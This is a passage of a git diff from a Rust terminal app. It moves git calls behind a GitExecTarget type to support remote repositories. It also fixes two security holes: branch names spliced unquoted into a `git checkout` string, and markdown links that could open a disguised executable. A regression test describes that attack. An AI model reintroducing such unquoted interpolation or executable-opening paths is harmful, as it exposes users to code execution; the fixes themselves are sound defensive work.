async fn compute_merge_base(repo_path: &GitExecTarget, mode: &DiffMode) -> Result { let branch = match mode { DiffMode::MainBranch => detect_main_branch(repo_path).await?, DiffMode::OtherBranch(branch) => branch.clone(), @@ -1335,7 +1421,7 @@ impl DiffStateModel { /// locally, attempts to fetch it from the `origin` remote so that /// `git merge-base` can succeed even when the base branch was never /// checked out in this working copy. - async fn get_or_fetch_merge_base(repo_path: &Path, branch: &str) -> Result { + async fn get_or_fetch_merge_base(repo_path: &GitExecTarget, branch: &str) -> Result { // Fast path: the ref already exists locally (local branch or remote-tracking ref). if let Ok(merge_base) = Self::get_merge_base(repo_path, branch).await { return Ok(merge_base); @@ -1351,14 +1437,14 @@ impl DiffStateModel { // Fetch the branch from origin. This creates / updates the remote-tracking // ref `origin/` without altering the working tree. log::warn!("Base branch '{branch}' not found locally, fetching from origin"); - run_git_command(repo_path, &["fetch", "origin", branch]).await?; + repo_path.run_git(&["fetch", "origin", branch]).await?; // Retry with the now-available remote-tracking ref. Self::get_merge_base(repo_path, &origin_branch).await } async fn load_metadata_for_repo( - repo_path: PathBuf, + repo_path: GitExecTarget, include_base_branch: bool, ) -> Result { // Detect the main branch name first @@ -1366,7 +1452,7 @@ impl DiffStateModel { let current_branch_name = detect_current_branch(&repo_path).await?; log::debug!("[GIT OPERATION] diff_state.rs load_metadata_for_repo git rev-parse HEAD"); - let has_head_commit = run_git_command(&repo_path, &["rev-parse", "HEAD"]) + let has_head_commit = repo_path.run_git(&["rev-parse", "HEAD"]) .await .is_ok(); @@ -1379,9 +1465,7 @@ impl DiffStateModel { let (unpushed_commits, upstream_ref) = if FeatureFlag::GitOperationsInCodeReview.is_enabled() { - let upstream_branch = run_git_command( - &repo_path, - &["rev-parse", "--abbrev-ref", "--symbolic-full-name", "@{u}"], + let upstream_branch = repo_path.run_git(&["rev-parse", "--abbrev-ref", "--symbolic-full-name", "@{u}"], ) .await .ok() @@ -1420,7 +1504,7 @@ impl DiffStateModel { pub fn get_diff_data_for_mode( &self, mode: DiffMode, - repo_path: PathBuf, + repo_path: GitExecTarget, ) -> impl Future> { // Check if we have the data already loaded for this mode if let InternalDiffState::Loaded(diffs) = &self.state { @@ -1443,14 +1527,14 @@ impl DiffStateModel { #[cfg(feature = "local_fs")] pub async fn load_diff_data_for_mode( mode: DiffMode, - repo_path: PathBuf, + repo_path: GitExecTarget, ) -> Option { let diffs = Self::load_diffs_for_repo(repo_path, mode, false).await; diffs.changes.ok().map(|diff| diff.into()) } async fn load_diffs_for_repo( - repo_path: PathBuf, + repo_path: GitExecTarget, mode: DiffMode, should_fetch_base: bool, ) -> DiffsWithBaseContent { @@ -1467,7 +1551,7 @@ impl DiffStateModel { DiffsWithBaseContent { changes: diffs.map_err(|err| err.to_string()), - repository_path: repo_path, + repository_path: repo_path.identity_path(), } } @@ -1609,14 +1693,12 @@ impl DiffStateModel { Ok(count) } - pub async fn diff_metadata_against_head(repo_path: &Path) -> Result { + pub async fn diff_metadata_against_head(repo_path: &GitExecTarget) -> Result { // First, get the list of changed files with their status log::debug!( "[GIT OPERATION] diff_state.rs diff_metadata_against_head git --no-optional-locks status --untracked-files=all --branch --porcelain=2 -z" ); - let status_output = run_git_command( - repo_path, - &[ + let status_output = repo_path.run_git(&[ "--no-optional-locks", // Avoid taking locks that might interfere with other git operations "status", "--untracked-files=all", // Get all untracked files @@ -1638,9 +1720,7 @@ impl DiffStateModel { total_additions += metadata.lines_added; total_deletions += metadata.lines_removed; } else if matches!(status, GitFileStatus::Untracked) { - let num_lines = - Self::num_lines_in_file_if_non_binary(&repo_path.join(file_path)).await?; - total_additions += num_lines.unwrap_or(0); + total_additions += Self::count_untracked_additions(repo_path, file_path).await; } } @@ -1653,14 +1733,42 @@ impl DiffStateModel { }) } - async fn file_statuses_against_head(repo_path: &Path) -> Result> { + /// Counts the additions contributed by an untracked file (its full line + /// count for text; 0 for binary or oversized files). Local targets read the + /// file directly; remote targets ask git via `diff --no-index --numstat`, + /// which reports the same line count without needing the local filesystem. + async fn count_untracked_additions(target: &GitExecTarget, rel_path: &Path) -> usize { + if let Some(local_root) = target.local_repo_path() { + return Self::num_lines_in_file_if_non_binary(&local_root.join(rel_path)) + .await + .ok() + .flatten() + .unwrap_or(0); + } + // Remote: `git diff --no-index --numstat -- /dev/null ` emits + // "\t0\t" for text (added == line count) or "-\t-\t" + // for binary. Differences yield exit code 1, which `run_git` accepts. + let Some(rel_str) = rel_path.to_str() else { + return 0; + }; + let output = target + .run_git(&["diff", "--no-index", "--numstat", "--", "/dev/null", rel_str]) + .await + .unwrap_or_default(); + output + .lines() + .next() + .and_then(|line| line.split('\t').next()) + .and_then(|added| added.parse::().ok()) + .unwrap_or(0) + } + + async fn file_statuses_against_head(repo_path: &GitExecTarget) -> Result> { // First, get the list of changed files with their status log::debug!( "[GIT OPERATION] diff_state.rs file_statuses_against_head git --no-optional-locks status --untracked-files=all --branch --porcelain=2 -z" ); - let status_output = run_git_command( - repo_path, - &[ + let status_output = repo_path.run_git(&[ "--no-optional-locks", // Avoid taking locks that might interfere with other git operations "status", "--untracked-files=all", // Get all untracked files @@ -1674,7 +1782,7 @@ impl DiffStateModel { Self::parse_git_status(&status_output) } - async fn diff_state_against_head(repo_path: &Path) -> Result { + async fn diff_state_against_head(repo_path: &GitExecTarget) -> Result { let changed_files = Self::file_statuses_against_head(repo_path).await?; // Get binary file information using git diff --numstat @@ -1713,7 +1821,7 @@ impl DiffStateModel { } async fn diff_state_against_base_branch( - repo_path: &Path, + repo_path: &GitExecTarget, should_fetch_base: bool, ) -> Result { // First detect the main branch @@ -1725,13 +1833,13 @@ impl DiffStateModel { /// Returns the per-file status by running a scoped `git status` (Head mode) /// or `git diff --name-status` (base-branch mode) limited to a single path. async fn file_status_for_path( - repo_path: &Path, + repo_path: &GitExecTarget, file: &Path, mode: &DiffMode, merge_base: Option<&str>, ) -> Result> { let relative = file - .strip_prefix(repo_path) + .strip_prefix(repo_path.identity_path()) .map(|p| p.to_path_buf()) .unwrap_or_else(|_| file.to_path_buf()); let rel_str = relative.to_str().ok_or_else(|| anyhow!("non-UTF-8 path"))?; @@ -1741,9 +1849,7 @@ impl DiffStateModel { log::debug!( "[GIT OPERATION] diff_state.rs file_status_for_path git status -- {rel_str}" ); - let output = run_git_command( - repo_path, - &[ + let output = repo_path.run_git(&[ "--no-optional-locks", "status", "--porcelain=2", @@ -1760,9 +1866,7 @@ impl DiffStateModel { log::debug!( "[GIT OPERATION] diff_state.rs file_status_for_path git diff --name-status -z {base} -- {rel_str}" ); - let diff_output = run_git_command( - repo_path, - &["diff", "--name-status", "-z", base, "--", rel_str], + let diff_output = repo_path.run_git(&["diff", "--name-status", "-z", base, "--", rel_str], ) .await?; @@ -1779,7 +1883,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs file_status_for_path git status -- {rel_str} (untracked fallback)" ); let status_output = - run_git_command(repo_path, &["status", "--porcelain=2", "-z", "--", rel_str]) + repo_path.run_git(&["status", "--porcelain=2", "-z", "--", rel_str]) .await?; let status_files = Self::parse_git_status(&status_output)?; Ok(status_files @@ -1792,9 +1896,9 @@ impl DiffStateModel { /// Checks whether a single file is binary by running a scoped /// `git diff --numstat -- `. - async fn is_file_binary(repo_path: &Path, file: &Path, commit: &str) -> Result { + async fn is_file_binary(repo_path: &GitExecTarget, file: &Path, commit: &str) -> Result { let relative = file - .strip_prefix(repo_path) + .strip_prefix(repo_path.identity_path()) .map(|p| p.to_path_buf()) .unwrap_or_else(|_| file.to_path_buf()); let rel_str = relative.to_str().ok_or_else(|| anyhow!("non-UTF-8 path"))?; @@ -1803,7 +1907,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs is_file_binary git diff --numstat {commit} -- {rel_str}" ); let output = - match run_git_command(repo_path, &["diff", "--numstat", commit, "--", rel_str]).await { + match repo_path.run_git(&["diff", "--numstat", commit, "--", rel_str]).await { Ok(o) => o, Err(_) => return Ok(false), }; @@ -1821,13 +1925,13 @@ impl DiffStateModel { /// Returns `(relative_path, Option)` — `None` when the /// file is no longer part of the diff (e.g. reverted). pub async fn retrieve_diff_state( - repo_path: &Path, + repo_path: &GitExecTarget, file: &Path, mode: &DiffMode, merge_base: Option<&str>, ) -> Result<(PathBuf, Option)> { let relative = file - .strip_prefix(repo_path) + .strip_prefix(repo_path.identity_path()) .map(|p| p.to_path_buf()) .unwrap_or_else(|_| file.to_path_buf()); @@ -1852,7 +1956,7 @@ impl DiffStateModel { async fn file_diff_for_path( is_binary: bool, - repo_path: &Path, + repo_path: &GitExecTarget, file_path: &PathBuf, status: &GitFileStatus, merge_base: Option<&str>, @@ -1906,14 +2010,14 @@ impl DiffStateModel { } async fn file_statuses_against_base( - repo_path: &Path, + repo_path: &GitExecTarget, merge_base: &str, ) -> Result> { log::debug!( "[GIT OPERATION] diff_state.rs file_statuses_against_base git diff --name-status -z {merge_base}" ); let diff_output = - run_git_command(repo_path, &["diff", "--name-status", "-z", merge_base]).await?; + repo_path.run_git(&["diff", "--name-status", "-z", merge_base]).await?; let mut changed_files = if diff_output.trim().is_empty() { // No tracked changes, but we might have untracked files @@ -1926,9 +2030,7 @@ impl DiffStateModel { log::debug!( "[GIT OPERATION] diff_state.rs file_statuses_against_base git status --untracked-files=all --porcelain=2 -z" ); - let status_output = run_git_command( - repo_path, - &["status", "--untracked-files=all", "--porcelain=2", "-z"], + let status_output = repo_path.run_git(&["status", "--untracked-files=all", "--porcelain=2", "-z"], ) .await?; @@ -1946,7 +2048,7 @@ impl DiffStateModel { /// Diff against a specific branch (similar to main branch but with custom branch name) async fn diff_state_against_specific_branch( - repo_path: &Path, + repo_path: &GitExecTarget, branch: String, should_fetch_base: bool, ) -> Result { @@ -2018,7 +2120,7 @@ impl DiffStateModel { /// Diff against a specific branch (similar to main branch but with custom branch name) async fn diff_metadata_against_specific_branch( - repo_path: &Path, + repo_path: &GitExecTarget, branch: &str, ) -> Result { // Get the merge base between HEAD and the main branch @@ -2033,7 +2135,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs diff_metadata_against_specific_branch git diff --name-status -z {merge_base}" ); let diff_output = - run_git_command(repo_path, &["diff", "--name-status", "-z", &merge_base]).await?; + repo_path.run_git(&["diff", "--name-status", "-z", &merge_base]).await?; let mut changed_files = if diff_output.trim().is_empty() { // No tracked changes, but we might have untracked files @@ -2046,9 +2148,7 @@ impl DiffStateModel { log::debug!( "[GIT OPERATION] diff_state.rs diff_metadata_against_specific_branch git status --untracked-files=all --porcelain=2 -z" ); - let status_output = run_git_command( - repo_path, - &["status", "--untracked-files=all", "--porcelain=2", "-z"], + let status_output = repo_path.run_git(&["status", "--untracked-files=all", "--porcelain=2", "-z"], ) .await?; @@ -2077,10 +2177,9 @@ impl DiffStateModel { total_additions += metadata.lines_added; total_deletions += metadata.lines_removed; } else if matches!(status, GitFileStatus::Untracked) { - // Get total size of the file - let num_lines = - Self::num_lines_in_file_if_non_binary(&repo_path.join(file_path)).await?; - total_additions += num_lines.unwrap_or(0); + // Count the untracked file's lines (local FS read, or a remote + // `git diff --no-index` when there is no local working copy). + total_additions += Self::count_untracked_additions(repo_path, file_path).await; } } @@ -2097,7 +2196,7 @@ impl DiffStateModel { /// Returns a list of (branch_name, is_main_branch) tuples /// Defaults to the most recent 100 branches for performance pub async fn get_all_branches( - repo_path: &Path, + repo_path: &GitExecTarget, max_branch_count: Option, include_remotes: bool, ) -> Result> { @@ -2123,7 +2222,7 @@ impl DiffStateModel { /// Use this when the main branch is already cached from a previous call to avoid /// the up-to-6 sequential subprocess calls that detection may require. pub async fn get_all_branches_with_known_main( - repo_path: &Path, + repo_path: &GitExecTarget, main_branch: &str, max_branch_count: Option, include_remotes: bool, @@ -2136,7 +2235,7 @@ impl DiffStateModel { /// [`Self::get_all_branches_with_known_main`]. Runs `git for-each-ref` and /// marks each branch as main or not based on the supplied `main_branch` string. async fn fetch_branch_list_with_main( - repo_path: &Path, + repo_path: &GitExecTarget, main_branch: &str, max_branch_count: Option, include_remotes: bool, @@ -2160,7 +2259,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs get_all_branches git {}", args.join(" ") ); - let output = run_git_command(repo_path, args.as_slice()).await?; + let output = repo_path.run_git(args.as_slice()).await?; let mut branches = Vec::new(); @@ -2187,7 +2286,7 @@ impl DiffStateModel { if branches.is_empty() { safe_warn!( safe: ("Code Review: get_all_branches returned empty list"), - full: ("Code Review: get_all_branches returned empty list for repo: {:?}", repo_path) + full: ("Code Review: get_all_branches returned empty list for repo: {:?}", repo_path.identity_path()) ); } @@ -2333,13 +2432,13 @@ impl DiffStateModel { } /// Get binary files using git diff --numstat - async fn get_binary_files(repo_path: &Path) -> Result> { + async fn get_binary_files(repo_path: &GitExecTarget) -> Result> { Self::get_binary_files_vs_commit(repo_path, "HEAD").await } /// Gets the file content at HEAD commit for diff comparison async fn get_file_content_at_head( - repo_path: &Path, + repo_path: &GitExecTarget, file_path: &Path, status: &GitFileStatus, ) -> Option { @@ -2355,9 +2454,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs get_file_content_at_head git show HEAD:{}", file_path.display() ); - (run_git_command( - repo_path, - &["show", &format!("HEAD:{}", file_path.to_str()?)], + (repo_path.run_git(&["show", &format!("HEAD:{}", file_path.to_str()?)], ) .await) .ok() @@ -2369,7 +2466,7 @@ impl DiffStateModel { /// This matches Git Desktop's getWorkingDirectoryDiff implementation /// If commit is provided, diffs against that commit; otherwise handles different statuses appropriately async fn get_file_diff( - repo_path: &Path, + repo_path: &GitExecTarget, file_path: &PathBuf, status: &GitFileStatus, is_binary: bool, @@ -2492,7 +2589,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs get_file_diff git {}", diff_args.join(" ") ); - let diff_output = match run_git_command(repo_path, &diff_args).await { + let diff_output = match repo_path.run_git(&diff_args).await { Ok(output) => output, Err(error) => { log::info!( @@ -2789,13 +2886,13 @@ impl DiffStateModel { /// Get binary files using git diff --numstat against a specific commit async fn get_diff_metadata_using_numstat( - repo_path: &Path, + repo_path: &GitExecTarget, commit: &str, ) -> Result> { log::debug!( "[GIT OPERATION] diff_state.rs get_diff_metadata_using_numstat git diff --numstat {commit}" ); - let numstat_output = match run_git_command(repo_path, &["diff", "--numstat", commit]).await + let numstat_output = match repo_path.run_git(&["diff", "--numstat", commit]).await { Ok(output) => output, Err(_) => { @@ -2832,7 +2929,7 @@ impl DiffStateModel { /// Get binary files using git diff --numstat against a specific commit async fn get_binary_files_vs_commit( - repo_path: &Path, + repo_path: &GitExecTarget, commit: &str, ) -> Result> { let diff_metadata = Self::get_diff_metadata_using_numstat(repo_path, commit).await?; @@ -2847,14 +2944,14 @@ impl DiffStateModel { /// Gets the file content at a specific commit async fn get_file_content_at_commit( - repo_path: &Path, + repo_path: &GitExecTarget, file_path: &str, commit: &str, ) -> Option { log::debug!( "[GIT OPERATION] diff_state.rs get_file_content_at_commit git show {commit}:{file_path}" ); - run_git_command(repo_path, &["show", &format!("{commit}:{file_path}")]) + repo_path.run_git(&["show", &format!("{commit}:{file_path}")]) .await .ok() } diff --git a/app/src/code_review/diff_state_tests.rs b/app/src/code_review/diff_state_tests.rs index 7eb3882fe26..4fe65ff9011 100644 --- a/app/src/code_review/diff_state_tests.rs +++ b/app/src/code_review/diff_state_tests.rs @@ -236,3 +236,42 @@ fn test_parse_git_status_file_without_spaces_still_works() { assert_eq!(result[0].0, std::path::PathBuf::from("simple.txt")); assert_eq!(result[0].1, GitFileStatus::Modified); } + +#[test] +fn test_parse_git_status_from_remote_null_delimited_bytes() { + // A `-z` NUL-delimited porcelain v2 payload as it arrives over the + // remote-server channel (raw bytes). Decoding via `from_utf8_lossy` — the + // exact step the remote git path performs — must yield input that + // `parse_git_status` handles identically to the local subprocess path. + let remote_bytes: &[u8] = + b"1 .M N... 100644 100644 100644 abc1234 def5678 src/main file.rs\0? new file.txt\0"; + let decoded = String::from_utf8_lossy(remote_bytes).to_string(); + let result = DiffStateModel::parse_git_status(&decoded).unwrap(); + assert_eq!(result.len(), 2); + assert_eq!(result[0].0, std::path::PathBuf::from("src/main file.rs")); + assert_eq!(result[0].1, GitFileStatus::Modified); + assert_eq!(result[1].0, std::path::PathBuf::from("new file.txt")); + assert_eq!(result[1].1, GitFileStatus::Untracked); +} + +#[test] +fn test_parse_diff_hunks_from_remote_bytes() { + // A unified-diff payload as it arrives over the remote-server channel. + // Decoding + parsing must produce the same hunk structure as a local diff. + let remote_bytes: &[u8] = b"@@ -1,2 +1,3 @@\n context\n-old line\n+new line\n+added line\n"; + let decoded = String::from_utf8_lossy(remote_bytes).to_string(); + let hunks = DiffStateModel::parse_diff_hunks(&decoded).unwrap(); + assert_eq!(hunks.len(), 1); + let adds = hunks[0] + .lines + .iter() + .filter(|l| l.line_type == DiffLineType::Add) + .count(); + let dels = hunks[0] + .lines + .iter() + .filter(|l| l.line_type == DiffLineType::Delete) + .count(); + assert_eq!(adds, 2); + assert_eq!(dels, 1); +} diff --git a/app/src/code_review/file_invalidation_queue.rs b/app/src/code_review/file_invalidation_queue.rs index 5364ebb3a0b..7b0afcb4bbc 100644 --- a/app/src/code_review/file_invalidation_queue.rs +++ b/app/src/code_review/file_invalidation_queue.rs @@ -5,6 +5,7 @@ use std::pin::Pin; use warp_core::sync_queue::{IsTransientError, SyncQueueTaskTrait}; use super::diff_state::{DiffMode, DiffStateModel, FileDiffAndContent}; +use crate::util::git::GitExecTarget; #[derive(Debug, thiserror::Error)] #[error(transparent)] @@ -37,9 +38,14 @@ impl SyncQueueTaskTrait for FileInvalidationTask { let mode = self.mode.clone(); let merge_base = self.merge_base.clone(); Box::pin(async move { - DiffStateModel::retrieve_diff_state(&repo_path, &file, &mode, merge_base.as_deref()) - .await - .map_err(FileInvalidationError::from) + DiffStateModel::retrieve_diff_state( + &GitExecTarget::local(repo_path), + &file, + &mode, + merge_base.as_deref(), + ) + .await + .map_err(FileInvalidationError::from) }) } } diff --git a/app/src/code_review/git_status_update.rs b/app/src/code_review/git_status_update.rs index 03ed8d2e9d5..57c2adbee4a 100644 --- a/app/src/code_review/git_status_update.rs +++ b/app/src/code_review/git_status_update.rs @@ -8,7 +8,7 @@ use warpui::ModelContext; #[cfg(feature = "local_fs")] use { crate::throttle::throttle, - crate::util::git::{detect_current_branch_display, detect_main_branch}, + crate::util::git::{detect_current_branch_display, detect_main_branch, GitExecTarget}, async_channel::Sender, repo_metadata::{ repositories::DetectedRepositories, @@ -282,14 +282,15 @@ impl GitRepoStatusModel { /// but only computes the HEAD (uncommitted) stats since that's all the git /// chip needs. async fn load_metadata(repo_path: PathBuf) -> anyhow::Result { + let target = GitExecTarget::local(repo_path.clone()); // Detect main branch. - let main_branch_name = detect_main_branch(&repo_path).await?; + let main_branch_name = detect_main_branch(&target).await?; // Detect current branch (using the display variant so detached HEAD // shows the short SHA instead of the literal "HEAD"). let current_branch_name = detect_current_branch_display(&repo_path).await?; // Diff stats against HEAD. let stats_against_head = - super::diff_state::DiffStateModel::diff_metadata_against_head(&repo_path).await?; + super::diff_state::DiffStateModel::diff_metadata_against_head(&target).await?; Ok(GitStatusMetadata { current_branch_name, diff --git a/app/src/context_chips/display.rs b/app/src/context_chips/display.rs index a68a7a792f6..17028c53354 100644 --- a/app/src/context_chips/display.rs +++ b/app/src/context_chips/display.rs @@ -3,7 +3,7 @@ use std::sync::Arc; use crate::ai::blocklist::agent_view::AgentViewController; use crate::ai::blocklist::{BlocklistAIHistoryEvent, BlocklistAIHistoryModel}; use crate::ai::document::ai_document_model::{AIDocumentId, AIDocumentVersion}; -use crate::context_chips::display_chip::format_git_branch_command; +use crate::context_chips::display_chip::PromptChipShellCommand; use crate::settings::InputSettings; use crate::terminal::model_events::ModelEventDispatcher; use crate::{ @@ -91,7 +91,7 @@ pub enum PromptDisplayEvent { OpenConversationHistory, OpenCommandPaletteFiles, RunAgentQuery(String), - TryExecuteCommand(String), + TryExecuteCommand(PromptChipShellCommand), OpenAIDocument { document_id: AIDocumentId, document_version: AIDocumentVersion, @@ -375,7 +375,9 @@ impl TypedActionView for PromptDisplay { match action { PromptDisplayAction::SelectGitBranch { value } => { ctx.emit(PromptDisplayEvent::TryExecuteCommand( - format_git_branch_command(value), + PromptChipShellCommand::GitCheckout { + branch_name: value.clone(), + }, )); } } diff --git a/app/src/context_chips/display_chip.rs b/app/src/context_chips/display_chip.rs index dea53a6cb2f..39b9baac300 100644 --- a/app/src/context_chips/display_chip.rs +++ b/app/src/context_chips/display_chip.rs @@ -556,7 +556,9 @@ impl DisplayChip { }; ctx.emit(PromptDisplayChipEvent::TryExecuteCommand( - format_git_branch_command(&git_branch.name()), + PromptChipShellCommand::GitCheckout { + branch_name: git_branch.name(), + }, )); me.close_git_branch_menu(ctx); ctx.notify(); @@ -644,7 +646,9 @@ impl DisplayChip { DirectoryType::Directory => { // For directories, navigate action is change directory ctx.emit(PromptDisplayChipEvent::TryExecuteCommand( - format_change_directory_command(&directory_item.name), + PromptChipShellCommand::ChangeDirectory { + dir_name: directory_item.name.clone(), + }, )); me.close_working_directory_menu(ctx); ctx.notify(); @@ -667,7 +671,9 @@ impl DisplayChip { } DirectoryType::NavigateToParent => { ctx.emit(PromptDisplayChipEvent::TryExecuteCommand( - format_change_directory_command(".."), + PromptChipShellCommand::ChangeDirectory { + dir_name: "..".to_string(), + }, )); me.close_working_directory_menu(ctx); ctx.notify(); @@ -705,9 +711,11 @@ impl DisplayChip { ctx.focus_self(); } NodeVersionPopupEvent::SelectVersion { version } => { - ctx.emit(PromptDisplayChipEvent::TryExecuteCommand(format!( - "nvm use {version}" - ))); + ctx.emit(PromptDisplayChipEvent::TryExecuteCommand( + PromptChipShellCommand::NvmUse { + version: version.clone(), + }, + )); me.close_node_version_popup(ctx); ctx.focus_self(); } @@ -725,7 +733,7 @@ impl DisplayChip { } NodeVersionPopupEvent::InstallLatestNodeVersion => { ctx.emit(PromptDisplayChipEvent::TryExecuteCommand( - "nvm install node".to_string(), + PromptChipShellCommand::NvmInstallLatestNode, )); me.close_node_version_popup(ctx); } @@ -1534,6 +1542,18 @@ impl View for DisplayChip { } } +/// A shell command intent emitted by a prompt chip. Rendering to a concrete +/// shell command string is deferred to the point of execution (in `Input`), +/// where the active session's shell type is known, so every interpolated +/// argument can be quoted shell-awarely instead of pasted in raw. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum PromptChipShellCommand { + GitCheckout { branch_name: String }, + ChangeDirectory { dir_name: String }, + NvmUse { version: String }, + NvmInstallLatestNode, +} + pub enum PromptDisplayChipEvent { OpenFile(String), OpenTextFileInCodeEditor(String), @@ -1543,7 +1563,7 @@ pub enum PromptDisplayChipEvent { OpenCodeReview, OpenConversationHistory, OpenCommandPaletteFiles, - TryExecuteCommand(String), + TryExecuteCommand(PromptChipShellCommand), RunAgentQuery(String), OpenAIDocument { document_id: AIDocumentId, @@ -1773,14 +1793,6 @@ impl ActionButtonTheme for EnterAgentViewButton { } } -fn format_change_directory_command(dir_name: &str) -> String { - format!("cd '{}'", dir_name.replace("'", "'\\'''")) -} - -pub fn format_git_branch_command(branch_name: &str) -> String { - format!("git checkout {branch_name}") -} - pub(crate) fn chip_container( content: Box, border_override: Option, diff --git a/app/src/notebooks/link.rs b/app/src/notebooks/link.rs index c3cd6e2b0e8..eb9581df4dc 100644 --- a/app/src/notebooks/link.rs +++ b/app/src/notebooks/link.rs @@ -344,6 +344,11 @@ impl NotebookLinks { } /// Open a file respecting user's editor settings. +/// +/// For targets that would be handed to the OS default handler (`SystemGeneric` / +/// `SystemDefault`), we reveal the file in Finder / Explorer instead of opening it. +/// This prevents a malicious markdown link from triggering arbitrary code execution +/// via an executable disguised as a local file (e.g. an extensionless shell script). // The `line_and_column` argument is unused when there is no local filesystem. #[cfg_attr(not(feature = "local_fs"), allow(unused_variables))] fn open_file( @@ -353,17 +358,37 @@ fn open_file( ) { #[cfg(feature = "local_fs")] { - let target = if is_supported_image_file(&path) { - FileTarget::SystemGeneric - } else { - let settings = EditorSettings::as_ref(ctx); - resolve_file_target(&path, settings, None) - }; - ctx.emit(LinkEvent::OpenFileWithTarget { - path, - target, - line_col: line_and_column, - }); + // Images are safe to open with the system default viewer. + if is_supported_image_file(&path) { + ctx.emit(LinkEvent::OpenFileWithTarget { + path, + target: FileTarget::SystemGeneric, + line_col: line_and_column, + }); + return; + } + + let settings = EditorSettings::as_ref(ctx); + let target = resolve_file_target(&path, settings, None); + match target { + // Safe targets: open in a viewer/editor that won't execute the file. + FileTarget::MarkdownViewer(_) + | FileTarget::CodeEditor(_) + | FileTarget::ImageViewer(_) + | FileTarget::ExternalEditor(_) + | FileTarget::EnvEditor => { + ctx.emit(LinkEvent::OpenFileWithTarget { + path, + target, + line_col: line_and_column, + }); + } + // Dangerous targets: the OS default handler could execute the file. + // Reveal in Finder / Explorer instead. + FileTarget::SystemGeneric | FileTarget::SystemDefault => { + ctx.open_file_path_in_explorer(&path); + } + } } #[cfg(not(feature = "local_fs"))] ctx.open_file_path(&path); diff --git a/app/src/notebooks/link_tests.rs b/app/src/notebooks/link_tests.rs index c37d9c66f2f..f1d5ce71487 100644 --- a/app/src/notebooks/link_tests.rs +++ b/app/src/notebooks/link_tests.rs @@ -208,6 +208,44 @@ fn test_open_local_image_uses_system_generic_target() { }); } +#[test] +fn test_open_extensionless_non_text_file_does_not_emit_open_event() { + // Regression test: an extensionless file (e.g. a disguised executable) is classified as + // binary by `is_file_openable_in_warp`, which previously routed it to `SystemGeneric` and + // ultimately `NSWorkspace.openURL` — allowing arbitrary code execution. After the fix, + // such files are revealed in Finder / Explorer instead of opened, so no `OpenFileWithTarget` + // event should be emitted. + App::test((), |mut app| async move { + crate::test_util::settings::initialize_settings_for_tests(&mut app); + let base = tempdir().unwrap(); + let base_path = base.path(); + let malicious_path = base_path.join("abc"); + touch(&malicious_path).await; + let links = init_link_model(&mut app, Some(base_path)); + + let events = Arc::new(Mutex::new(vec![])); + { + let events = events.clone(); + app.update(|ctx| { + ctx.subscribe_to_model(&links, move |_, event, _| { + events.lock().push(event.clone()); + }) + }); + } + + links.update(&mut app, |links, ctx| { + links.open(local_file(&malicious_path), ctx); + }); + + let events = events.lock(); + assert!( + events.is_empty(), + "Expected no LinkEvent to be emitted for an extensionless non-text file, \ + but got: {events:?}" + ); + }); +} + #[test] fn test_resolve_valid_url() { App::test((), |mut app| async move { diff --git a/app/src/pane_group/working_directories.rs b/app/src/pane_group/working_directories.rs index 395494bde1b..800f39c1be3 100644 --- a/app/src/pane_group/working_directories.rs +++ b/app/src/pane_group/working_directories.rs @@ -4,6 +4,10 @@ use indexmap::IndexSet; use repo_metadata::repositories::DetectedRepositories; use std::collections::HashMap; #[cfg(feature = "local_fs")] +use std::sync::Arc; +#[cfg(feature = "local_fs")] +use warp_core::{HostId, SessionId}; +#[cfg(feature = "local_fs")] use std::collections::HashSet; use std::path::{Path, PathBuf}; #[cfg(feature = "local_fs")] @@ -20,6 +24,8 @@ use crate::code_review::{ code_review_view::CodeReviewView, diff_state::{DiffMode, DiffStateModel}, }; +#[cfg(feature = "local_fs")] +use crate::remote_server::client::RemoteServerClient; use crate::workspace::view::global_search::view::GlobalSearchView; #[derive(Clone, Debug, PartialEq, Eq)] @@ -85,6 +91,11 @@ pub struct WorkingDirectoriesModel { /// Since git state is inherently tied to a repository (not a pane group), /// this is stored globally and shared across all pane groups viewing the same repo. diff_state_models: HashMap>, + /// Like `diff_state_models`, but for warpified remote (SSH) repositories. + /// Keyed by `(host, remote repo root)` rather than a local `PathBuf` so that + /// a remote repo never collides with a local repo sharing the same path + /// string. These models have no FS watcher; the view drives their refreshes. + remote_diff_state_models: HashMap<(HostId, String), ModelHandle>, /// Global mapping from repository root paths to their CommentBatch. /// Like the DiffStateModel mapping, comments are inherently tied to git diffs /// and are shared across all pane groups viewing the same repo. @@ -193,6 +204,39 @@ impl WorkingDirectoriesModel { Some(diff_state_model) } + /// Get or create a [`DiffStateModel`] for a warpified remote repository. + /// Unlike [`Self::get_or_create_diff_state_model`], this skips local repo + /// detection and routes git through the remote session. Cached models are + /// re-pointed at the current `session_id`/`client`, since those change + /// across reconnects while the `(host, root)` identity is stable. + pub fn get_or_create_remote_diff_state_model( + &mut self, + client: Arc, + session_id: SessionId, + host_id: HostId, + repo_root: String, + ctx: &mut ModelContext, + ) -> Option> { + let key = (host_id, repo_root.clone()); + if let Some(model) = self.remote_diff_state_models.get(&key) { + let model = model.clone(); + model.update(ctx, |model, ctx| { + model.set_remote_repository(client, session_id, repo_root, ctx); + }); + return Some(model); + } + + let diff_state_model = ctx.add_model(|model_ctx| { + let mut model = DiffStateModel::new(None, model_ctx); + model.set_remote_repository(client, session_id, repo_root, model_ctx); + model + }); + self.remote_diff_state_models + .insert(key, diff_state_model.clone()); + + Some(diff_state_model) + } + /// DiffStateModels are shared across tabs. When you delete repos from one tab, /// we should check if its still in use in any tab. If not, stop its watcher and delete it. fn drop_unused_diff_state_models( diff --git a/app/src/tab_configs/branch_picker.rs b/app/src/tab_configs/branch_picker.rs index e036ef860d4..3850aef5c12 100644 --- a/app/src/tab_configs/branch_picker.rs +++ b/app/src/tab_configs/branch_picker.rs @@ -8,7 +8,7 @@ use warpui::{ use crate::{ code_review::diff_state::DiffStateModel, tab_configs::PickerStyle, - util::git::detect_current_branch, + util::git::{detect_current_branch, GitExecTarget}, view_components::{DropdownItem, FilterableDropdown}, }; @@ -135,12 +135,13 @@ impl BranchPicker { ctx.spawn( async move { + let target = GitExecTarget::local(cwd); let branches = match known_main { Some(ref main) => { - DiffStateModel::get_all_branches_with_known_main(&cwd, main, None, false) + DiffStateModel::get_all_branches_with_known_main(&target, 